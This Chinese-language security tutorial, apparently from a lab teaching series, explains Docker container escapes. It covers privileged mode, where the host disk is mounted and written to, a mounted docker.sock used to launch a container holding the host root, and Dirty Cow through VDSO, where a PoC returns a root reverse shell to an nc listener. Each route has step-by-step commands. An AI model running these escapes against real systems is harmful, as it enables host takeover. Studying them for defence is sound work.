Docker逃逸初探

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Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁。

本期安仔课堂,ISEC实验室的张老师将为大家介绍不同环境下,Docker逃逸至外部宿主机的情况。

 

一、配置特权模式时的逃逸情况

(一)—privileged(特权模式)

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

具体步骤如下:

1.以特权模式运行一个容器:docker run -it —privileged ubuntu:14.04 /bin/bash

2.查看磁盘文件:fdisk -l

图1

3.此时查看/dev/路径会发现很多设备文件:ls /dev

图2

4.新建目录以备挂载:mkdir /abc

5.将/dev/sda1挂载至 /abc: mount /dev/sda1 /abc

6.最终我们可以通过访问容器内部的/abc路径来达到访问整个宿主机的目的:ls /abc

图3

7.尝试写文件到宿主机:echo 123 > /abc/home/botasky/escape2

图4

8.查看宿主机中的文件:ls /home/botasky/escape2

图5

(二)—cap-add与SYS_ADMIN

Linux内核自版本2.2起引入功能(capabilities)机制,打破了UNIX/LINUX操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令。

截至Linux 3.0版本,Linux中共有38种capabilities。Docker容器默认限制为14个capabilities,管理员可以使用—cap-add和—cap-drop选项为容器精确配置capabilities。

当容器使用特权模式启动时,将被赋予所有capabilities。此外,在—cap-add的诸多选项中,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,因此当容器以—cap-add=SYSADMIN启动时,也将面临威胁。

 

二、挂载配置不当时的逃逸情况

(一)危险的Docker.sock

众所周知,Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

图6

其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。

因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

具体步骤如下:

1.运行一个挂载/var/run/的容器:docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash

2.在容器内安装Docker作为client(此步骤可能需要更换源):apt-get install docker.io

3.查看宿主机Docker信息:docker -H unix:///host/var/run/docker.sock info

图7

4.运行一个新容器并挂载宿主机根路径:docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

可以看见@符号后的Docker ID已经发生变化:

图8

5.在新容器/aa路径下完成对宿主机资源的访问:ls /aa

图9

 

三、存在Dirty Cow漏洞时的逃逸情况

(一)脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

(二)PoC&验证环境

GitHub上已有人提供了测试环境与PoC,我们可以通过以下命令获取。

图10

  1. 运行验证容器:docker-compose run dirtycow /bin/bash
    图11
  2. 本地开启nc,进行观察(PoC中设置的反弹地址为本地的1234端口):nc -lvp 1234
  3. 编译PoC并运行,等待shell反弹:make &./0xdeadbeef
    通过ID命令,可以发现这个shell为root权限:

    图12

 

参考&引用

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